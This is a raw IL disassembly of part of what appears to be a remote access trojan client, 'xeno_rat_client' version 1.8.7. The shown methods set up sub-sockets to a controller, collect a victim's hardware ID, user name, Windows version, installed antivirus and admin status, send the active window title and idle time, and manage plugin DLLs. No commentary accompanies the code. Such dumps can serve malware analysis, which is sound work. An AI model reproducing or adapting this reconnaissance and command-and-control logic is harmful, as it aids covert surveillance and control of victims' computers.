    00002ba6ldloca.s 0
    00002ba8ldflda <>t__builder
    00002badcall get_Task
    00002bb2ret
    00002b7c
    00002bc0
    00002bc0xeno_rat_client.Handler::Type0Receive:
    00002bc0ldloca.s 0
    00002bc2call Create
    00002bc7stfld <>t__builder
    00002bccldloca.s 0
    00002bceldarg.0
    00002bcfstfld <>4__this
    00002bd4ldloca.s 0
    00002bd6ldc.i4.m1
    00002bd7stfld <>1__state
    00002bdcldloca.s 0
    00002bdeldflda <>t__builder
    00002be3ldloca.s 0
    00002be5call 0x2B000008
    00002bealdloca.s 0
    00002becldflda <>t__builder
    00002bf1call get_Task
    00002bf6ret
    00002bc0
    00002c04
    00002c04xeno_rat_client.Handler::Type1Receive:
    00002c04ldloca.s 0
    00002c06call Create
    00002c0bstfld <>t__builder
    00002c10ldloca.s 0
    00002c12ldarg.0
    00002c13stfld <>4__this
    00002c18ldloca.s 0
    00002c1aldarg.1
    00002c1bstfld subServer
    00002c20ldloca.s 0
    00002c22ldc.i4.m1
    00002c23stfld <>1__state
    00002c28ldloca.s 0
    00002c2aldflda <>t__builder
    00002c2fldloca.s 0
    00002c31call 0x2B000009
    00002c36ldloca.s 0
    00002c38ldflda <>t__builder
    00002c3dcall get_Task
    00002c42ret
    00002c04
    00002c50
    00002c50xeno_rat_client.Handler::setSetId:
    00002c50ldloca.s 0
    00002c52call Create
    00002c57stfld <>t__builder
    00002c5cldloca.s 0
    00002c5eldarg.1
    00002c5fstfld subServer
    00002c64ldloca.s 0
    00002c66ldarg.2
    00002c67stfld data
    00002c6cldloca.s 0
    00002c6eldc.i4.m1
    00002c6fstfld <>1__state
    00002c74ldloca.s 0
    00002c76ldflda <>t__builder
    00002c7bldloca.s 0
    00002c7dcall 0x2B00000A
    00002c82ldloca.s 0
    00002c84ldflda <>t__builder
    00002c89call get_Task
    00002c8eret
    00002c50
    00002c9c
    00002c9cxeno_rat_client.Handler::Type2Receive:
    00002c9cldloca.s 0
    00002c9ecall Create
    00002ca3stfld <>t__builder
    00002ca8ldloca.s 0
    00002caaldarg.0
    00002cabstfld <>4__this
    00002cb0ldloca.s 0
    00002cb2ldarg.1
    00002cb3stfld subServer
    00002cb8ldloca.s 0
    00002cbaldc.i4.m1
    00002cbbstfld <>1__state
    00002cc0ldloca.s 0
    00002cc2ldflda <>t__builder
    00002cc7ldloca.s 0
    00002cc9call 0x2B00000B
    00002cceldloca.s 0
    00002cd0ldflda <>t__builder
    00002cd5call get_Task
    00002cdaret
    00002c9c
    00002ce8
    00002ce8xeno_rat_client.Handler::DebugMenu:
    00002ce8ldloca.s 0
    00002ceacall Create
    00002cefstfld <>t__builder
    00002cf4ldloca.s 0
    00002cf6ldarg.0
    00002cf7stfld <>4__this
    00002cfcldloca.s 0
    00002cfeldarg.1
    00002cffstfld subServer
    00002d04ldloca.s 0
    00002d06ldarg.2
    00002d07stfld data
    00002d0cldloca.s 0
    00002d0eldc.i4.m1
    00002d0fstfld <>1__state
    00002d14ldloca.s 0
    00002d16ldflda <>t__builder
    00002d1bldloca.s 0
    00002d1dcall 0x2B00000C
    00002d22ldloca.s 0
    00002d24ldflda <>t__builder
    00002d29call get_Task
    00002d2eret
    00002ce8
    00002d3c
    00002d3cxeno_rat_client.Handler::SendUpdateInfo:
    00002d3cldloca.s 0
    00002d3ecall Create
    00002d43stfld <>t__builder
    00002d48ldloca.s 0
    00002d4aldarg.1
    00002d4bstfld node
    00002d50ldloca.s 0
    00002d52ldc.i4.m1
    00002d53stfld <>1__state
    00002d58ldloca.s 0
    00002d5aldflda <>t__builder
    00002d5fldloca.s 0
    00002d61call 0x2B00000D
    00002d66ldloca.s 0
    00002d68ldflda <>t__builder
    00002d6dcall get_Task
    00002d72ret
    00002d3c
    00002d80
    00002d80<CreateSubSock>d__3::MoveNext:
    00002d80ldarg.0
    00002d81ldfld <>1__state
    00002d86stloc.0
    00002d87ldarg.0
    00002d88ldfld <>4__this
    00002d8dstloc.1
    00002d8eldloc.0
    00002d8fldc.i4.2
    00002d90pop
    00002d91pop
    00002d92nop
    00002d93ldloc.0
    00002d94switch (IL_0084, IL_010a, IL_0176)
    00002da5ldarg.0
    00002da6ldfld data
    00002dabldc.i4.1
    00002dacldelem.u1
    00002dadstloc.2
    00002daeldarg.0
    00002dafldfld data
    00002db4ldc.i4.2
    00002db5ldelem.u1
    00002db6stloc.3
    00002db7ldloc.1
    00002db8ldfld Main
    00002dbdldloc.2
    00002dbeldloc.3
    00002dbfldloc.1
    00002dc0ldftn OnDisconnect
    00002dc6newobj .ctor
    00002dcbcallvirt ConnectSubSockAsync
    00002dd0callvirt GetAwaiter
    00002dd5stloc.s 5
    00002dd7ldloca.s 5
    00002dd9call get_IsCompleted
    00002ddebrtrue.s IL_00a1
    00002de0ldarg.0
    00002de1ldc.i4.0
    00002de2dup
    00002de3stloc.0
    00002de4stfld <>1__state
    00002de9ldarg.0
    00002dealdloc.s 5
    00002decstfld <>u__1
    00002df1ldarg.0
    00002df2ldflda <>t__builder
    00002df7ldloca.s 5
    00002df9ldarg.0
    00002dfacall 0x2B00000E
    00002dffleave IL_01fc
    00002e04ldarg.0
    00002e05ldfld <>u__1
    00002e0astloc.s 5
    00002e0cldarg.0
    00002e0dldflda <>u__1
    00002e12initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
    00002e18ldarg.0
    00002e19ldc.i4.m1
    00002e1adup
    00002e1bstloc.0
    00002e1cstfld <>1__state
    00002e21ldloca.s 5
    00002e23call GetResult
    00002e28stloc.s 4
    00002e2aldloc.s 4
    00002e2cldloc.1
    00002e2dldfld Main
    00002e32stfld Parent
    00002e37ldloc.1
    00002e38ldfld Main
    00002e3dldloc.s 4
    00002e3fcallvirt AddSubNode
    00002e44ldloc.s 4
    00002e46ldfld SockType
    00002e4bldc.i4.1
    00002e4cbne.un.s IL_0130
    00002e4eldloc.1
    00002e4fldloc.s 4
    00002e51call Type1Receive
    00002e56callvirt GetAwaiter
    00002e5bstloc.s 6
    00002e5dldloca.s 6
    00002e5fcall get_IsCompleted
    00002e64brtrue.s IL_0127
    00002e66ldarg.0
    00002e67ldc.i4.1
    00002e68dup
    00002e69stloc.0
    00002e6astfld <>1__state
    00002e6fldarg.0
    00002e70ldloc.s 6
    00002e72stfld <>u__2
    00002e77ldarg.0
    00002e78ldflda <>t__builder
    00002e7dldloca.s 6
    00002e7fldarg.0
    00002e80call 0x2B00000F
    00002e85leave IL_01fc
    00002e8aldarg.0
    00002e8bldfld <>u__2
    00002e90stloc.s 6
    00002e92ldarg.0
    00002e93ldflda <>u__2
    00002e98initobj System.Runtime.CompilerServices.TaskAwaiter
    00002e9eldarg.0
    00002e9fldc.i4.m1
    00002ea0dup
    00002ea1stloc.0
    00002ea2stfld <>1__state
    00002ea7ldloca.s 6
    00002ea9call GetResult
    00002eaebr.s IL_01a9
    00002eb0ldloc.s 4
    00002eb2ldfld SockType
    00002eb7ldc.i4.2
    00002eb8bne.un.s IL_019c
    00002ebaldloc.1
    00002ebbldloc.s 4
    00002ebdcall Type2Receive
    00002ec2callvirt GetAwaiter
    00002ec7stloc.s 6
    00002ec9ldloca.s 6
    00002ecbcall get_IsCompleted
    00002ed0brtrue.s IL_0193
    00002ed2ldarg.0
    00002ed3ldc.i4.2
    00002ed4dup
    00002ed5stloc.0
    00002ed6stfld <>1__state
    00002edbldarg.0
    00002edcldloc.s 6
    00002edestfld <>u__2
    00002ee3ldarg.0
    00002ee4ldflda <>t__builder
    00002ee9ldloca.s 6
    00002eebldarg.0
    00002eeccall 0x2B00000F
    00002ef1leave IL_01fc
    00002ef6ldarg.0
    00002ef7ldfld <>u__2
    00002efcstloc.s 6
    00002efeldarg.0
    00002effldflda <>u__2
    00002f04initobj System.Runtime.CompilerServices.TaskAwaiter
    00002f0aldarg.0
    00002f0bldc.i4.m1
    00002f0cdup
    00002f0dstloc.0
    00002f0estfld <>1__state
    00002f13ldloca.s 6
    00002f15call GetResult
    00002f1abr.s IL_01a9
    00002f1cldloc.s 4
    00002f1ebrtrue.s IL_01a2
    00002f20leave.s IL_01e9
    00002f22ldloc.s 4
    00002f24callvirt Disconnect
    00002f29leave.s IL_01ce
    00002f2bpop
    00002f2cldstr "error with subnode, subnode type="
    00002f31ldarg.0
    00002f32ldfld data
    00002f37ldc.i4.1
    00002f38ldelema System.Byte
    00002f3dcall ToString
    00002f42call Concat
    00002f47call WriteLine
    00002f4cleave.s IL_01ce
    00002f4eleave.s IL_01e9
    00002f50stloc.s 7
    00002f52ldarg.0
    00002f53ldc.i4.s -2
    00002f55stfld <>1__state
    00002f5aldarg.0
    00002f5bldflda <>t__builder
    00002f60ldloc.s 7
    00002f62call SetException
    00002f67leave.s IL_01fc
    00002f69ldarg.0
    00002f6aldc.i4.s -2
    00002f6cstfld <>1__state
    00002f71ldarg.0
    00002f72ldflda <>t__builder
    00002f77call SetResult
    00002f7cret
    00002d80
    00002fc0
    00002fc0<DebugMenu>d__10::MoveNext:
    00002fc0ldarg.0
    00002fc1ldfld <>1__state
    00002fc6stloc.0
    00002fc7ldarg.0
    00002fc8ldfld <>4__this
    00002fcdstloc.1
    00002fceldloc.0
    00002fcfswitch (IL_00a3, IL_0168, IL_01df)
    00002fe0ldarg.0
    00002fe1ldfld data
    00002fe6ldc.i4.1
    00002fe7ldelem.u1
    00002fe8stloc.2
    00002fe9ldloc.2
    00002feaswitch (IL_0040, IL_00cd, IL_018f)
    00002ffbbr IL_0204
    00003000ldarg.0
    00003001ldfld subServer
    00003006call get_UTF8
    0000300bldstr "\n"
    00003010ldloc.1
    00003011ldfld dllhandler
    00003016ldfld Assemblies
    0000301bcallvirt get_Keys
    00003020call Join
    00003025callvirt GetBytes
    0000302acallvirt SendAsync
    0000302fcallvirt GetAwaiter
    00003034stloc.s 5
    00003036ldloca.s 5
    00003038call get_IsCompleted
    0000303dbrtrue.s IL_00c0
    0000303fldarg.0
    00003040ldc.i4.0
    00003041dup
    00003042stloc.0
    00003043stfld <>1__state
    00003048ldarg.0
    00003049ldloc.s 5
    0000304bstfld <>u__1
    00003050ldarg.0
    00003051ldflda <>t__builder
    00003056ldloca.s 5
    00003058ldarg.0
    00003059call 0x2B000010
    0000305eleave IL_0232
    00003063ldarg.0
    00003064ldfld <>u__1
    00003069stloc.s 5
    0000306bldarg.0
    0000306cldflda <>u__1
    00003071initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00003077ldarg.0
    00003078ldc.i4.m1
    00003079dup
    0000307astloc.0
    0000307bstfld <>1__state
    00003080ldloca.s 5
    00003082call GetResult
    00003087pop
    00003088br IL_0204
    0000308dcall get_UTF8
    00003092ldarg.0
    00003093ldfld data
    00003098ldc.i4.2
    00003099call 0x2B000011
    0000309ecall 0x2B000012
    000030a3callvirt GetString
    000030a8stloc.3
    000030a9ldc.i4.0
    000030aastloc.s 4
    000030acldloc.1
    000030adldfld dllhandler
    000030b2ldfld Assemblies
    000030b7callvirt get_Keys
    000030bcldloc.3
    000030bdcall 0x2B000013
    000030c2brfalse.s IL_0117
    000030c4ldloc.1
    000030c5ldfld dllhandler
    000030caldfld Assemblies
    000030cfldloc.3
    000030d0callvirt Remove
    000030d5stloc.s 4
    000030d7ldarg.0
    000030d8ldfld subServer
    000030ddldc.i4.1
    000030denewarr System.Byte
    000030e3dup
    000030e4ldc.i4.0
    000030e5ldloc.s 4
    000030e7brtrue.s IL_012c
    000030e9ldc.i4.0
    000030eabr.s IL_012d
    000030ecldc.i4.1
    000030edconv.u1
    000030eestelem.i1
    000030efcallvirt SendAsync
    000030f4callvirt GetAwaiter
    000030f9stloc.s 5
    000030fbldloca.s 5
    000030fdcall get_IsCompleted
    00003102brtrue.s IL_0185
    00003104ldarg.0
    00003105ldc.i4.1
    00003106dup
    00003107stloc.0
    00003108stfld <>1__state
    0000310dldarg.0
    0000310eldloc.s 5
    00003110stfld <>u__1
    00003115ldarg.0
    00003116ldflda <>t__builder
    0000311bldloca.s 5
    0000311dldarg.0
    0000311ecall 0x2B000010
    00003123leave IL_0232
    00003128ldarg.0
    00003129ldfld <>u__1
    0000312estloc.s 5
    00003130ldarg.0
    00003131ldflda <>u__1
    00003136initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    0000313cldarg.0
    0000313dldc.i4.m1
    0000313edup
    0000313fstloc.0
    00003140stfld <>1__state
    00003145ldloca.s 5
    00003147call GetResult
    0000314cpop
    0000314dbr.s IL_0204
    0000314fldarg.0
    00003150ldfld subServer
    00003155call get_UTF8
    0000315aldsfld ProcessLog
    0000315fcallvirt ToString
    00003164callvirt GetBytes
    00003169callvirt SendAsync
    0000316ecallvirt GetAwaiter
    00003173stloc.s 5
    00003175ldloca.s 5
    00003177call get_IsCompleted
    0000317cbrtrue.s IL_01fc
    0000317eldarg.0
    0000317fldc.i4.2
    00003180dup
    00003181stloc.0
    00003182stfld <>1__state
    00003187ldarg.0
    00003188ldloc.s 5
    0000318astfld <>u__1
    0000318fldarg.0
    00003190ldflda <>t__builder
    00003195ldloca.s 5
    00003197ldarg.0
    00003198call 0x2B000010
    0000319dleave.s IL_0232
    0000319fldarg.0
    000031a0ldfld <>u__1
    000031a5stloc.s 5
    000031a7ldarg.0
    000031a8ldflda <>u__1
    000031adinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000031b3ldarg.0
    000031b4ldc.i4.m1
    000031b5dup
    000031b6stloc.0
    000031b7stfld <>1__state
    000031bcldloca.s 5
    000031becall GetResult
    000031c3pop
    000031c4leave.s IL_021f
    000031c6stloc.s 6
    000031c8ldarg.0
    000031c9ldc.i4.s -2
    000031cbstfld <>1__state
    000031d0ldarg.0
    000031d1ldflda <>t__builder
    000031d6ldloc.s 6
    000031d8call SetException
    000031ddleave.s IL_0232
    000031dfldarg.0
    000031e0ldc.i4.s -2
    000031e2stfld <>1__state
    000031e7ldarg.0
    000031e8ldflda <>t__builder
    000031edcall SetResult
    000031f2ret
    00002fc0
    0000321c
    0000321c<GetAndSendInfo>d__5::MoveNext:
    0000321cldarg.0
    0000321dldfld <>1__state
    00003222stloc.0
    00003223ldloc.0
    00003224brfalse IL_00f7
    00003229ldarg.0
    0000322aldfld Type0
    0000322fldfld SockType
    00003234brfalse.s IL_001f
    00003236leave IL_0137
    0000323bldstr "1.8.7"
    00003240stloc.1
    00003241ldc.i4.7
    00003242newarr System.String
    00003247dup
    00003248ldc.i4.0
    00003249call HWID
    0000324estelem.ref
    0000324fdup
    00003250ldc.i4.1
    00003251call get_UserName
    00003256stelem.ref
    00003257dup
    00003258ldc.i4.2
    00003259call GetCurrent
    0000325ecallvirt get_Name
    00003263stelem.ref
    00003264dup
    00003265ldc.i4.3
    00003266ldloc.1
    00003267stelem.ref
    00003268dup
    00003269ldc.i4.4
    0000326acall GetWindowsVersion
    0000326fstelem.ref
    00003270dup
    00003271ldc.i4.5
    00003272call GetAntivirus
    00003277stelem.ref
    00003278dup
    00003279ldc.i4.6
    0000327acall IsAdmin
    0000327fstloc.s 5
    00003281ldloca.s 5
    00003283call ToString
    00003288stelem.ref
    00003289stloc.2
    0000328aldc.i4.0
    0000328bnewarr System.Byte
    00003290stloc.3
    00003291ldc.i4.1
    00003292newarr System.Byte
    00003297stloc.s 4
    00003299ldc.i4.0
    0000329astloc.s 6
    0000329cbr.s IL_00b3
    0000329ecall get_UTF8
    000032a3ldloc.2
    000032a4ldloc.s 6
    000032a6ldelem.ref
    000032a7callvirt GetBytes
    000032acstloc.s 7
    000032aeldloc.3
    000032afldloc.s 7
    000032b1call Concat
    000032b6stloc.3
    000032b7ldloc.s 6
    000032b9ldloc.2
    000032baldlen
    000032bbconv.i4
    000032bcldc.i4.1
    000032bdsub
    000032bebeq.s IL_00ad
    000032c0ldloc.3
    000032c1ldloc.s 4
    000032c3call Concat
    000032c8stloc.3
    000032c9ldloc.s 6
    000032cbldc.i4.1
    000032ccadd
    000032cdstloc.s 6
    000032cfldloc.s 6
    000032d1ldloc.2
    000032d2ldlen
    000032d3conv.i4
    000032d4blt.s IL_0082
    000032d6ldarg.0
    000032d7ldfld Type0
    000032dcldloc.3
    000032ddcallvirt SendAsync
    000032e2callvirt GetAwaiter
    000032e7stloc.s 8
    000032e9ldloca.s 8
    000032ebcall get_IsCompleted
    000032f0brtrue.s IL_0114
    000032f2ldarg.0
    000032f3ldc.i4.0
    000032f4dup
    000032f5stloc.0
    000032f6stfld <>1__state
    000032fbldarg.0
    000032fcldloc.s 8
    000032festfld <>u__1
    00003303ldarg.0
    00003304ldflda <>t__builder
    00003309ldloca.s 8
    0000330bldarg.0
    0000330ccall 0x2B000014
    00003311leave.s IL_014a
    00003313ldarg.0
    00003314ldfld <>u__1
    00003319stloc.s 8
    0000331bldarg.0
    0000331cldflda <>u__1
    00003321initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00003327ldarg.0
    00003328ldc.i4.m1
    00003329dup
    0000332astloc.0
    0000332bstfld <>1__state
    00003330ldloca.s 8
    00003332call GetResult
    00003337pop
    00003338leave.s IL_0137
    0000333astloc.s 9
    0000333cldarg.0
    0000333dldc.i4.s -2
    0000333fstfld <>1__state
    00003344ldarg.0
    00003345ldflda <>t__builder
    0000334aldloc.s 9
    0000334ccall SetException
    00003351leave.s IL_014a
    00003353ldarg.0
    00003354ldc.i4.s -2
    00003356stfld <>1__state
    0000335bldarg.0
    0000335cldflda <>t__builder
    00003361call SetResult
    00003366ret
    0000321c
    00003390
    00003390<SendUpdateInfo>d__11::MoveNext:
    00003390ldarg.0
    00003391ldfld <>1__state
    00003396stloc.0
    00003397ldloc.0
    00003398switch (IL_0052, IL_00b9, IL_0148)
    000033a9call GetCaptionOfActiveWindowAsync
    000033aecallvirt GetAwaiter
    000033b3stloc.s 5
    000033b5ldloca.s 5
    000033b7call get_IsCompleted
    000033bcbrtrue.s IL_006f
    000033beldarg.0
    000033bfldc.i4.0
    000033c0dup
    000033c1stloc.0
    000033c2stfld <>1__state
    000033c7ldarg.0
    000033c8ldloc.s 5
    000033castfld <>u__1
    000033cfldarg.0
    000033d0ldflda <>t__builder
    000033d5ldloca.s 5
    000033d7ldarg.0
    000033d8call 0x2B000015
    000033ddleave IL_01a9
    000033e2ldarg.0
    000033e3ldfld <>u__1
    000033e8stloc.s 5
    000033ealdarg.0
    000033ebldflda <>u__1
    000033f0initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
    000033f6ldarg.0
    000033f7ldc.i4.m1
    000033f8dup
    000033f9stloc.0
    000033fastfld <>1__state
    000033ffldloca.s 5
    00003401call GetResult
    00003406stloc.s 4
    00003408ldarg.0
    00003409ldloc.s 4
    0000340bstfld <currwin>5__2
    00003410call GetIdleTimeAsync
    00003415callvirt GetAwaiter
    0000341astloc.s 6
    0000341cldloca.s 6
    0000341ecall get_IsCompleted
    00003423brtrue.s IL_00d6
    00003425ldarg.0
    00003426ldc.i4.1
    00003427dup
    00003428stloc.0
    00003429stfld <>1__state
    0000342eldarg.0
    0000342fldloc.s 6
    00003431stfld <>u__2
    00003436ldarg.0
    00003437ldflda <>t__builder
    0000343cldloca.s 6
    0000343eldarg.0
    0000343fcall 0x2B000016
    00003444leave IL_01a9
    00003449ldarg.0
    0000344aldfld <>u__2
    0000344fstloc.s 6
    00003451ldarg.0
    00003452ldflda <>u__2
    00003457initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
    0000345dldarg.0
    0000345eldc.i4.m1
    0000345fdup
    00003460stloc.0
    00003461stfld <>1__state
    00003466ldloca.s 6
    00003468call GetResult
    0000346dldc.i4 1000
    00003472div.un
    00003473stloc.s 7
    00003475ldloca.s 7
    00003477call ToString
    0000347cstloc.1
    0000347dldarg.0
    0000347eldfld <currwin>5__2
    00003483ldstr "\n"
    00003488ldloc.1
    00003489call Concat
    0000348estloc.2
    0000348fcall get_UTF8
    00003494ldloc.2
    00003495callvirt GetBytes
    0000349astloc.3
    0000349bldarg.0
    0000349cldfld node
    000034a1ldloc.3
    000034a2callvirt SendAsync
    000034a7callvirt GetAwaiter
    000034acstloc.s 8
    000034aeldloca.s 8
    000034b0call get_IsCompleted
    000034b5brtrue.s IL_0165
    000034b7ldarg.0
    000034b8ldc.i4.2
    000034b9dup
    000034bastloc.0
    000034bbstfld <>1__state
    000034c0ldarg.0
    000034c1ldloc.s 8
    000034c3stfld <>u__3
    000034c8ldarg.0
    000034c9ldflda <>t__builder
    000034celdloca.s 8
    000034d0ldarg.0
    000034d1call 0x2B000017
    000034d6leave.s IL_01a9
    000034d8ldarg.0
    000034d9ldfld <>u__3
    000034destloc.s 8
    000034e0ldarg.0
    000034e1ldflda <>u__3
    000034e6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000034ecldarg.0
    000034edldc.i4.m1
    000034eedup
    000034efstloc.0
    000034f0stfld <>1__state
    000034f5ldloca.s 8
    000034f7call GetResult
    000034fcpop
    000034fdleave.s IL_018f
    000034ffstloc.s 9
    00003501ldarg.0
    00003502ldc.i4.s -2
    00003504stfld <>1__state
    00003509ldarg.0
    0000350aldnull
    0000350bstfld <currwin>5__2
    00003510ldarg.0
    00003511ldflda <>t__builder
    00003516ldloc.s 9
    00003518call SetException
    0000351dleave.s IL_01a9
    0000351fldarg.0
    00003520ldc.i4.s -2
    00003522stfld <>1__state
    00003527ldarg.0
    00003528ldnull
    00003529stfld <currwin>5__2
    0000352eldarg.0
    0000352fldflda <>t__builder
    00003534call SetResult
    00003539ret
    00003390